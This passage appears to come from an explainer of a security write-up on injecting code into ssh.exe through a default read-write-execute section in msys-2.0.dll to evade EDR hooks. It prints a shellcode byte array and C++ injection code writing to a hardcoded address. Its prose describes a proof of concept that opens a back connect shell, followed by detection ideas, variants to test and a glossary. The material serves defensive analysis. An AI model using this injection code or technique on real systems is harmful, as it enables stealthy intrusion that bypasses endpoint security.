"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
"\x4c\x8d\x85\x0b\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
"\xd5\x48\x65\x6c\x6c\x6f\x2c\x20\x4a\x4f\x45\x53\x21\x00"
"\x41\x6c\x65\x72\x74\x00";
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
pi.dwProcessId);
if (hProcess == nullptr) {
printf("[x] ReadProcessMemory failed with status 0x%x\n",
::GetLastError());
return 1;
}
if (!DebugActiveProcess(4236)) {
printf("[x] DebugActiveProcess failed with status 0x%x\n",
::GetLastError());
::CloseHandle(hProcess); return 1;
} SIZE_T bytesWritten = 0;
if (!WriteProcessMemory(hProcess, (LPVOID)0x21022D120, buf,
sizeof(buf), &bytesWritten)) {
printf("[x] WriteProcessMemory failed with status 0x%x\n",
::GetLastError());
}
Line by line:
/*unsigned char buf[] = ... */is a commented-out block. The/*and*/mark it as a comment, so the compiler ignores it. Inside is the shellcode as a byte array: each\xfollowed by two hex digits is one byte. Near the end you can see the ASCII bytes forHello, JOES!andAlert, which are strings embedded in the payload.HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);opens the target process using its process ID from thepistructure.PROCESS_ALL_ACCESSasks for every permission.if (hProcess == nullptr) { ... return 1; }checks whether opening failed. If so, it prints an error and exits. The message mentionsReadProcessMemory, which is a copy-paste slip in the original code; the call that failed isOpenProcess.if (!DebugActiveProcess(4236)) { ... }attaches the caller as a debugger to a process. The write-up does not explain this call or the process ID passed to it.SIZE_T bytesWritten = 0;declares a variable to receive how many bytes were written.WriteProcessMemory(hProcess, (LPVOID)0x21022D120, buf, sizeof(buf), &bytesWritten)copies the payload into the target process at the hardcoded address0x21022D120. If it fails, an error is printed.
The write goes to a hardcoded address because the targeted DLL does not use ASLR: the RWX section's address is stable across runs, so no runtime resolution is needed.
Step 5: let the target run the code
No thread is created in the target. The application waits for ssh.exe's normal execution flow to reach the RWX section, at which point the injected code runs. In the PoC the shellcode loads an additional DLL, MyLibrary.dll, which opens a back connect shell to an external machine. A back connect shell is a remote command prompt where the victim machine connects out to the attacker, rather than the attacker connecting in. The write-up notes the DLL's behaviour can be anything the developer wants.
The remote injection flow:
- The custom application runs.
- A trusted application (ssh.exe) that uses msys-2.0.dll is launched as a child process.
- The application opens a handle to ssh.exe.
- The code is copied into the RWX section of msys-2.0.dll.
- ssh.exe executes the injected code during its normal flow.
- The shellcode loads MyLibrary.dll.
- A back connect shell is established.
The tests showed the code running in ssh.exe without EDR detection. The distinguishing property is that nothing is allocated, no protection is changed and no thread is created in the target, which is what makes the technique hard for an EDR to spot.
Root cause
The weakness is in the DLL, not in the injection code: msys-2.0.dll ships a section marked RWX by default, so any process that loads it exposes writable and executable memory without asking the operating system for it. Because the memory already exists with the right permissions, the APIs that EDRs hook to catch allocation and protection changes are never called. The write-up also notes the targeted DLL does not employ ASLR, so the section address is stable and can be hardcoded. In the self-injection case the EDR hooks are bypassed by rebuilding syscall stubs from a clean NTDLL; in the remote case the write goes through WriteProcessMemory, but no thread is created and no protection is changed.
Impact
The write-up describes attackers using this technique to evade userland hooks and inject code into the process space of trusted software. In the PoC this meant injecting into ssh.exe and establishing a back connect shell, and in the self-injection case removing all EDR inline userland hooks from the process. The write-up stresses that msys-2.0.dll is only one example and that many other DLLs may share the characteristic, which makes static monitoring of specific DLLs or syscalls insufficient. The technique requires a suitable DLL to be present and loaded, and in the remote case the target must depend on that DLL; the write-up does not claim it works against arbitrary processes.
Fix
The write-up does not describe a patch to the DLL or a vendor response. Its recommendations are defensive: go beyond static monitoring of specific DLLs or system calls and add behavioural analysis, anomaly detection and machine learning to spot injection into trusted processes. It also lists detection ideas for defenders:
- Look for GNU utilities launched by suspicious or uncommon processes.
- Look for network connections to non-standard ports from processes such as ssh.exe or any other GNU utility.
- Keep a database of DLLs with these characteristics and watch for load attempts by non-legitimate processes.
- Use reputation systems that assign trust levels to DLLs based on source, digital certificates, historical behaviour and section characteristics.
On the prevention side it recommends dynamic analysis of runtime behaviour, behavioural analysis for anomalies, signature-based detection for known patterns, reputation-based flagging, and robust memory protection to prevent unauthorised code execution.
Variants to test
- Scan for other RWX sections. Run a tool that walks the file system, opens each DLL and checks section characteristics for RWX. A positive result is a DLL with a default RWX section large enough to hold a stub or shellcode.
- Check for missing ASLR. For any candidate DLL, check whether it is built with ASLR. A positive result is a stable section address across runs, which allows a hardcoded write address.
- Look for POSIX-emulation dependencies. Enumerate processes that load libraries such as msys-2.0.dll and check whether they are started by unusual parents. A positive result is a GNU utility launched by a process that would not normally do so.
- Watch for non-standard outbound connections. Monitor processes such as ssh.exe for connections to non-standard ports. A positive result is an outbound connection that does not match the process's normal behaviour.
- Test hook integrity. Compare in-memory NTDLL functions with their on-disk copies and look for
jmppatches at function entry. A positive result is a hook that can be bypassed by jumping to the instruction after it, as the Hell's Gate stub does.
Glossary
- API (Application Programming Interface): a function that one piece of software offers to another, like a service counter you hand a request to.
- ASLR (Address Space Layout Randomization): a Windows feature that shuffles memory addresses each run so attackers cannot predict them.
- Assembly language: the low-level instructions a processor understands, written with short mnemonics like
movandjmp. - Back connect shell: a remote command prompt where the victim machine connects out to the attacker.
- Child process: a process started by another process.
- DLL (Dynamic Link Library): a file full of reusable code that many programs can load and share.
- EDR (Endpoint Detection and Response): security software that watches activity on a computer and tries to stop malicious behaviour.
- Handle: a reference the operating system gives you when you open something, like a claim ticket.
- Hell's Gate: a technique that builds syscall stubs and takes syscall numbers from a clean copy of NTDLL to bypass EDR hooks.
- Hook: a small patch placed on a function so that security software can inspect calls to it.
- Kernel: the core of the operating system, which manages memory, processes and hardware.
- NTDLL.DLL: the Windows system library that sits between ordinary programs and the kernel.
- PE (Portable Executable): the standard file format for Windows programs and DLLs.
- POSIX: a family of standards for operating systems like Linux; POSIX emulation lets such programs run on Windows.
- Process: a running program with its own private memory.
- Process injection: any technique that puts code into a process's memory so that the code runs.
- RWX (Read, Write, Execute): the most permissive memory setting, allowing a program to read, change and run the contents.
- Shellcode: a small block of machine code designed to be run after being placed in memory.
- ssh.exe: the command-line client for SSH, a protocol for logging into other machines remotely.
- Syscall: a request from a program to the kernel to perform a service, identified by a number.
- Syscall stub: a tiny piece of code that prepares a syscall number and asks the kernel to perform the service.
- Thread: the part of a process that actually executes instructions.
- Userland hook: a hook placed inside a normal program's memory, as opposed to inside the kernel.